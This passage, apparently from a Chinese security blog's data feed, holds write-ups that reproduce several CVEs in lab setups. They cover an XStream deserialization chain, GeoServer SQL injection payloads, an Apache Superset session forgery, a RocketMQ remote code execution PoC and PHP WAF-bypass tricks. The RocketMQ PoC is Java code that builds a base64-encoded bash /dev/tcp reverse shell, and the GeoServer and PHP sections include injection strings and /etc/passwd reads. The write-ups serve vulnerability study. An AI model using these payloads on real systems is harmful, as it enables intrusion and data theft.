方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类\r\n\r\n往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 \u003Chandler\u003E 节点之下还有很多子节点(又看到了熟悉的 hasChildren()\r\n\r\n这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法\r\n\r\n后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。\r\n\r\n将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方\r\n\r\n跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据\r\n\r\n最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的\r\n\r\ninvoke:428, EventHandler (java.beans)\r\ncompareTo:-1, $Proxy0 (com.sun.proxy)\r\ncompare:1294, TreeMap (java.util)\r\nput:538, TreeMap (java.util)\r\nputAll:281, AbstractMap (java.util)\r\nputAll:327, TreeMap (java.util)\r\npopulateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)\r\n\r\n最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行\r\n\r\n0x03 漏洞修复\r\n\r\n根据官方的修复手段,这里其实增加了黑名单\r\n\r\nUsers can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:\r\n\r\nxstream.registerConverter(new Converter() {\r\n  public boolean canConvert(Class type) {\r\n    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));\r\n }\r\n \r\n  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\r\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\r\n }\r\n \r\n  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\r\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\r\n }\r\n}, XStream.PRIORITY_LOW);\r\n\r\n0x04 小结\r\n\r\nXStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306251455181.png",openTime:"2023-06-25T15:45:17+08:00",viewsNum:5372},{id:"20230621161632",type:f,title:"浅析GeoServer CVE-2023-25157 SQL注入",abstract:"简介\r\n\r\nGeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。\r\n\r\n影响版本\r\n\r\ngeoserver\u003C2.18.7\r\n\r\n2.19.0\u003C=geoserver\u003C2.19.7\r\n\r\n2.20.0\u003C=geoserver\u003C2.20.7\r\n\r\n2.21.0\u003C=geoserver\u003C2.21.4\r\n\r\n2.22.0\u003C=geoserver\u003C2.22.2\r\n\r\n环境搭建\r\n\r\n安装方式有多种可以选择\r\n\r\nwindwos下载安装\r\n\r\nhttps:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fgeoserver\u002Ffiles\u002FGeoServer\u002F2.22.0\u002FGeoServer-2.22.0-winsetup.exe\u002Fdownload下载后只需要指定端口直接下载可完成安装\r\n\r\nwar包安装\r\n\r\ntomcat下载地址\r\n\r\nhttps:\u002F\u002Fdlcdn.apache.org\u002Ftomcat\u002Ftomcat-8\u002Fv8.5.90\u002Fbin\u002Fapache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址\r\n\r\nhttps:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fgeoserver\u002Ffiles\u002FGeoServer\u002F2.23.1\u002Fgeoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war\r\n\r\n把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。\r\n\r\n启动tomcat\r\n\r\n访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081\r\n\r\nhttp:\u002F\u002Flocalhost:8081\u002Fgeoserver\u002Fweb\u002F\r\n\r\n分析\r\n\r\nPOC下载链接\r\n\r\nhttps:\u002F\u002Fgithub.com\u002Fwin3zz\u002FCVE-2023-25157python3 CVE-2023-25157.py http:\u002F\u002Flocalhost:8081\r\n\r\n查看提交的补丁分析一下漏洞\r\n\r\nhttps:\u002F\u002Fgithub.com\u002Fgeoserver\u002Fgeoserver\u002Fcommit\u002F145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FConfigDatabase.java\r\n\r\n重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig\u002Fjdbcconfig.properties中的 JDBCConfig 模块\r\n\r\n属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https:\u002F\u002Fdocs.spring.io\u002Fspring-framework\u002Fdocs\u002Fcurrent\u002Fjavadoc-api\u002Forg\u002Fspringframework\u002Fjdbc\u002Fcore\u002Fnamedparam\u002FNamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程\r\n\r\npublic ConfigDatabase(\r\n            JDBCLoaderProperties properties,\r\n            DataSource dataSource,\r\n            XStreamInfoSerialBinding binding) {\r\n        this(properties, dataSource, binding, null);\r\n   }\r\n \r\n    public ConfigDatabase(\r\n            JDBCLoaderProperties properties,\r\n            final DataSource dataSource,\r\n            final XStreamInfoSerialBinding binding,\r\n            CacheProvider cacheProvider) {\r\n \r\n        this.properties = properties;\r\n        this.binding = binding;\r\n        this.template = new NamedParameterJdbcTemplate(dataSource);\r\n\r\n通过使用参数化查询而不是字符串连接\r\n\r\nsrc\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FOracleDialect.java在插入中做了修改\r\n\r\n         \u002F\u002Fsql.insert(0, \"SELECT * FROM (SELECT query.*, rownum rnum FROM (\\n\");\r\n         \u002F\u002Fsql.append(\") query\\n\");\r\n           sql.insert(\r\n                   0,\r\n                   \"SELECT * FROM (SELECT query.*, rownum rnum FROM (\"\r\n                           + (isDebugMode() ? \"\\n\" : \"\"));\r\n           sql.append(\") query\");\r\n           appendIfDebug(sql, \"\\n\", \" \");\r\n\r\n修改了插入语法,其方法在src\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FDialect.java\r\n\r\n中定义\r\n\r\n public boolean isDebugMode() {\r\n        return debugMode;\r\n   }\r\n \r\n    public void setDebugMode(boolean debugMode) {\r\n        this.debugMode = debugMode;\r\n   }\r\n \r\n    \u002F** Escapes the contents of the SQL comment to prevent SQL injection. *\u002F\r\n    public String escapeComment(String comment) {\r\n        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll(\"*\\\\\\\\\u002F\");\r\n        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll(\"\u002F\\\\\\\\*\");\r\n   }\r\n \r\n    \u002F** Appends the objects to the SQL in a comment if debug mode is enabled. *\u002F\r\n    public StringBuilder appendComment(StringBuilder sql, Object... objects) {\r\n        if (!debugMode) {\r\n            return sql;\r\n       }\r\n        sql.append(\" \u002F* \");\r\n        for (Object object : objects) {\r\n            sql.append(escapeComment(String.valueOf(object)));\r\n       }\r\n        return sql.append(\" *\u002F\\n\");\r\n   }\r\n \r\n    \u002F** Appends the objects to the SQL in an comment if debug mode is enabled. *\u002F\r\n    public StringBuilder appendComment(Object sql, Object... objects) {\r\n        return appendComment((StringBuilder) sql, objects);\r\n   }\r\n \r\n    \u002F** Appends one of the strings to the SQL depending on whether debug mode is enabled. *\u002F\r\n    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {\r\n        return sql.append(debugMode ? ifEnabled : ifDisabled);\r\n   }\r\n\r\n获取功能名POC\r\n\r\nGET \u002Fgeoserver\u002Fows?service=WFS&version=1.0.0&request=GetCapabilities HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n获取功能属性POC\r\n\r\nGET \u002Fgeoserver\u002Fows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n构造恶意payload\r\n\r\nGET \u002Fgeoserver\u002Fows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n这里引用一张图,geotools的注入漏洞\r\n\r\n漏洞编号CVE-2023-25158,查看补丁发现\r\n\r\n在类中添加该escapeBackslash字段https:\u002F\u002Fgithub.com\u002Fgeotools\u002Fgeotools\u002Fcommit\u002F64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符\r\n\r\n \u002F\u002F single quotes must be escaped to have a valid sql string\r\n String escaped = escapeLiteral(encoding);\r\n\r\n调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号\r\n\r\n public static String escapeLiteral(\r\n           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {\r\n           \u002F\u002F ' --\u003E ''\r\n           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll(\"''\");\r\n           if (escapeBackslash) {\r\n               \u002F\u002F \\ --\u003E \\\\\r\n               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll(\"\\\\\\\\\\\\\\\\\");\r\n           }\r\n           if (escapeDoubleQuote) {\r\n               \u002F\u002F \" --\u003E \\\"\r\n               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll(\"\\\\\\\\\\\"\");\r\n           }\r\n           return escaped;\r\n\r\n至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章\r\n\r\nhttps:\u002F\u002Fblog.csdn.net\u002Fnmj2008\u002Farticle\u002Fdetails\u002F113869086修复方案\r\n\r\n升级安全版本,目前已经有最新版本。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306211116063.png",openTime:"2023-06-21T16:16:38+08:00",viewsNum:4682},{id:"20230620103836",type:f,title:"Apache Superset 身份认证绕过漏洞(CVE-2023-27524)",abstract:"漏洞简介\r\n\r\nApache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍\r\n\r\n环境搭建\r\n\r\n可以通过 fofa 来搜索相关网站\r\n\r\n\"Apache Superset\"\r\n\r\n 这里我们通过 docker 来在本地搭建环境\r\n\r\n git clone https:\u002F\u002Fgithub.com\u002Fapache\u002Fsuperset.git\r\ncd superset\r\ngit checkout 2.0.0\r\nTAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull\r\nTAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up\r\n\r\n官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找\r\n\r\nhttps:\u002F\u002Fhub.docker.com\u002Fr\u002Fapache\u002Fsuperset\u002Ftags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache\u002Fsuperset:2.0.0\r\ndocker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin\r\ndocker exec -it superset superset db upgrade\r\ndocker exec -it superset superset load_examples\r\ndocker exec -it superset superset init\r\n\r\n 漏洞复现\r\n\r\n利用脚本检测是否存在漏洞并生成相对应的 cookie\r\n\r\n访问主页抓取数据包\r\n\r\n将生成的 session 替换原本的 session \r\n\r\n 成功登录\r\n\r\n接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。\r\n\r\n经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。\r\n\r\n DROP TABLE IF EXISTS cmd_exec;\r\nCREATE TABLE cmd_exec(cmd_output text);\r\nCOPY cmd_exec FROM PROGRAM 'id';\r\nSELECT * FROM cmd_exec;\r\n\r\n 漏洞分析\r\n\r\n感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥\r\n\r\nSECRET_KEYS = [\r\n   b'\\x02\\x01thisismyscretkey\\x01\\x02\\\\e\\\\y\\\\y\\\\h',  # version \u003C 1.4.1\r\n   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version \u003E= 1.4.1\r\n   b'thisISaSECRET_1234',                            # deployment template\r\n   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation\r\n   b'TEST_NON_DEV_SECRET'                            # docker compose\r\n]\r\n\r\nSuperset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。\r\n\r\n整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。\r\n\r\n首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中\r\n\r\n\u003E\u003E\u003E from flask_unsign import session\r\n\u003E\u003E\u003E session.decode(\"eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY\")\r\n{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}\r\n\u003E\u003E\u003E session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')\r\n'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'\r\n\u003E\u003E\u003E session.decode(\".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM\")\r\n{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}\r\n\r\n 漏洞修复\r\n\r\n拒绝在非调试环境中使用默认密码启动\r\n\r\n ‍",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306191632925.png",openTime:"2023-06-20T10:38:45+08:00",viewsNum:4138},{id:"20230616175934",type:f,title:"CVE-2023-33246命令执行复现分析",abstract:"RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。\r\n\r\n影响版本\r\n\r\n\u003C=RocketMQ 5.1.0\r\n\r\n\u003C=RocketMQ 4.9.5\r\n\r\n环境搭建\r\n\r\ndocker pull apache\u002Frocketmq:4.9.4\r\n\r\nroot@ubuntu:\u002Fhome\u002Fubuntu\u002FDesktop# docker run -d --name rmqnamesrv -p 9876:9876 apache\u002Frocketmq:4.9.4 sh mqnamesrv     \u002F\u002F起nameserver\r\n\r\n创建broker.conf,并且修改配置文件内容\r\n\r\nroot@ubuntu:\u002Fhome\u002Fubuntu\u002FDesktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e \"NAMESRV_ADDR=namesrv:9876\" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache\u002Frocketmq:4.9.4 sh mqbroker -c \u002Fhome\u002Frocketmq\u002Frocketmq-4.9.4\u002Fconf\u002Fbroker.conf   \u002F\u002F起Broker\r\n\r\ndocker ps\r\n\r\nhttp:\u002F\u002F127.0.0.1:10912\u002Fpython3 check.py --ip 10.10.14.72 --port 9876\r\n\r\npython3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666\u002F1.txt\r\n\r\n使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题\r\n\r\ncd vulhub\u002Frocketmq\u002FCVE-2023-33246\r\ndocker-compose up -d\r\n\r\nPOC如下\r\n\r\nimport org.apache.rocketmq.tools.admin.DefaultMQAdminExt;\r\n \r\nimport java.util.Base64;\r\nimport java.util.Properties;\r\n \r\npublic class poc {\r\n    private static String getCmd(String ip, String port) {\r\n        String cmd = \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F\" + ip + \"\u002F\" + port + \" 0\u003E&1\";\r\n        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());\r\n        return \"-c $@|sh . echo echo \\\"\" + cmdBase + \"\\\"|base64 -d|bash -i;\";\r\n   }\r\n \r\n    public static void main(String[] args) throws Exception {\r\n        String targetHost = \"目的IP\";\r\n        String targetPort = \"10911\";\r\n    \r\n        String shellHost = \"VPSIP\";\r\n        String shellPort = \"Listen-port\";\r\n    \r\n        String targetAddr = String.format(\"%s:%s\",targetHost,targetPort);\r\n        Properties props = new Properties();\r\n        props.setProperty(\"rocketmqHome\", getCmd(shellHost,shellPort));\r\n        props.setProperty(\"filterServerNums\", \"1\");\r\n        \u002F\u002F 创建 DefaultMQAdminExt 对象并启动\r\n        DefaultMQAdminExt admin = new DefaultMQAdminExt();\r\n \r\n\u002F\u002F       admin.setNamesrvAddr(\"0.0.0.0:12345\");\r\n        admin.start();\r\n        \u002F\u002F 更新配置⽂件\r\n        admin.updateBrokerConfig(targetAddr, props);\r\n        Properties brokerConfig = admin.getBrokerConfig(targetAddr);\r\n        System.out.println(brokerConfig.getProperty(\"rocketmqHome\"));\r\n        System.out.println(brokerConfig.getProperty(\"filterServerNums\"));\r\n        \u002F\u002F 关闭 DefaultMQAdminExt 对象\r\n        admin.shutdown();\r\n   }\r\n}\r\n\r\n使用IDEA创建maven项目,创建xml文件下载依赖,下载地址\r\n\r\nhttps:\u002F\u002Fmvnrepository.com\u002Fartifact\u002Forg.apache.rocketmq\u002Frocketmq-tools\u002F4.9.4\u003C!-- https:\u002F\u002Fmvnrepository.com\u002Fartifact\u002Forg.apache.rocketmq\u002Frocketmq-tools --\u003E\r\n\u003Cdependency\u003E\r\n    \u003CgroupId\u003Eorg.apache.rocketmq\u003C\u002FgroupId\u003E\r\n    \u003CartifactId\u003Erocketmq-tools\u003C\u002FartifactId\u003E\r\n    \u003Cversion\u003E4.9.4\u003C\u002Fversion\u003E\r\n\u003C\u002Fdependency\u003E\r\n\r\n修改POC\r\n\r\nimport org.apache.rocketmq.tools.admin.DefaultMQAdminExt;\r\n \r\nimport java.util.Base64;\r\nimport java.util.Properties;\r\n \r\npublic class poc {\r\n    private static String getCmd(String ip, String port) {\r\n        String cmd = \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F\" + ip + \"\u002F\" + port + \" 0\u003E&1\";\r\n        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());\r\n        return \"-c $@|sh . echo echo \\\"\" + cmdBase + \"\\\"|base64 -d|bash -i;\";\r\n   }\r\n \r\n    public static void main(String[] args) throws Exception {\r\n        String targetHost = \"10.10.14.72\";\r\n        String targetPort = \"10911\";\r\n    \r\n        String shellHost = \"10.10.14.72\";\r\n        String shellPort = \"65532\";\r\n    \r\n        String targetAddr = String.format(\"%s:%s\",targetHost,targetPort);\r\n        Properties props = new Properties();\r\n        props.setProperty(\"rocketmqHome\", getCmd(shellHost,shellPort));\r\n        props.setProperty(\"filterServerNums\", \"1\");\r\n        \u002F\u002F 创建 DefaultMQAdminExt 对象并启动\r\n        DefaultMQAdminExt admin = new DefaultMQAdminExt();\r\n \r\n\u002F\u002F       admin.setNamesrvAddr(\"0.0.0.0:12345\");\r\n        admin.start();\r\n        \u002F\u002F 更新配置⽂件\r\n        admin.updateBrokerConfig(targetAddr, props);\r\n        Properties brokerConfig = admin.getBrokerConfig(targetAddr);\r\n        System.out.println(brokerConfig.getProperty(\"rocketmqHome\"));\r\n        System.out.println(brokerConfig.getProperty(\"filterServerNums\"));\r\n        \u002F\u002F 关闭 DefaultMQAdminExt 对象\r\n        admin.shutdown();\r\n   }\r\n}\r\n\r\n反弹结果\r\n\r\ngit clone https:\u002F\u002Fgithub.com\u002FSuperZero\u002FCVE-2023-33246.git\r\njava -jar CVE-2023-33246.jar -ip \"127.0.0.1:10911\" -cmd \"222 \u003E\u002Froot\u002F2.txt\"\r\n\r\n进入容器,查看根部录下文件是已写入\r\n\r\njava -jar CVE-2023-33246.jar -ip \"127.0.0.1:10911\" -cmd \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F10.10.14.72\u002F65532 0\u003E&1\"\r\n\r\n反弹shell\r\n\r\n漏洞分析\r\n\r\n启动broker路由如下:\r\n\r\nmain:50, BrokerStartup (org.apache.rocketmq.broker)\r\nstart:55, BrokerStartup (org.apache.rocketmq.broker) \r\nstart:1570, BrokerController (org.apache.rocketmq.broker) \r\nstartBasicService:1527, BrokerController (org.apache.rocketmq.broker) \r\nstart:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)\r\n\r\n当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行\r\n\r\n调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand\r\n\r\n该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd\r\n\r\n进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令\r\n\r\n该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306161415708.png",openTime:"2023-06-16T17:59:56+08:00",viewsNum:4190},{id:"20230614144331",type:f,title:"利用 PHP 特性绕 WAF 测试",abstract:"在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图:\r\n\r\n\r\n第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。\r\n\r\n这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容;\r\n\r\n\u002Fcfwaf.php?code=system(\"cat \u002Fetc\u002Fpasswd\");\r\n\r\n\r\n可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如:\r\n\r\ncat \u002Fetc$u\u002Fpasswd\r\n\r\n\r\nCloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档:\r\n\r\nhttps:\u002F\u002Fsecure.php.net\u002Fmanual\u002Fen\u002Flanguage.types.string.phpPHP 字符串转义序列:\r\n\r\n\r\n[0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\\400”===“\\000”)\r\n\r\n\r\n\\x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\\x41”)\r\n\r\n\r\n\\u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加)\r\n\r\n\r\n不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。\r\n\r\nPHP变量函数\r\n\r\nPHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP 将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。\r\n\r\n这意味着语法如 $var(args); 和 \"sting\"(args; 等于 func(args); 。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子:\r\n\r\n\r\n第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本:\r\n\r\n\r\n\r\n此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require 。利用包装函数将这些构造中的任何一个用作变量函数。\r\n\r\n改进用户输入检测\r\n\r\n如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试:\r\n\r\n\r\n正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止:\r\n\r\n\r\n\r\n幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 $a = (string)foo; 在这种情况下,$a 包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串:\r\n\r\n\r\n\r\n在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls) 的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 $GET 变量。如果我发送像 ?a=system&b=ls&code=$GETa 这样的请求;结果是:$GET[a] 将替换为字符串“system”,$GET[b] 将替换为字符串“ls”,我将能够绕过所有过滤器!\r\n\r\n\r\n\r\n让我们尝试使用第一个有效负载 (sy.(st).em)(whoami);\r\n\r\n\r\n\r\n和第二个有效载荷 ?\r\n\r\n?a=system&b=cat+\u002Fetc&c=\u002Fpasswd&code=$\\_GET[a]($\\_GET[b].$\\_GET[c]);\r\n\r\n\r\n在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效:\r\n\r\nget_defined_functions 函数\r\n\r\n此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”] 访问,用户定义的函数可以使用 $arr[“user”] 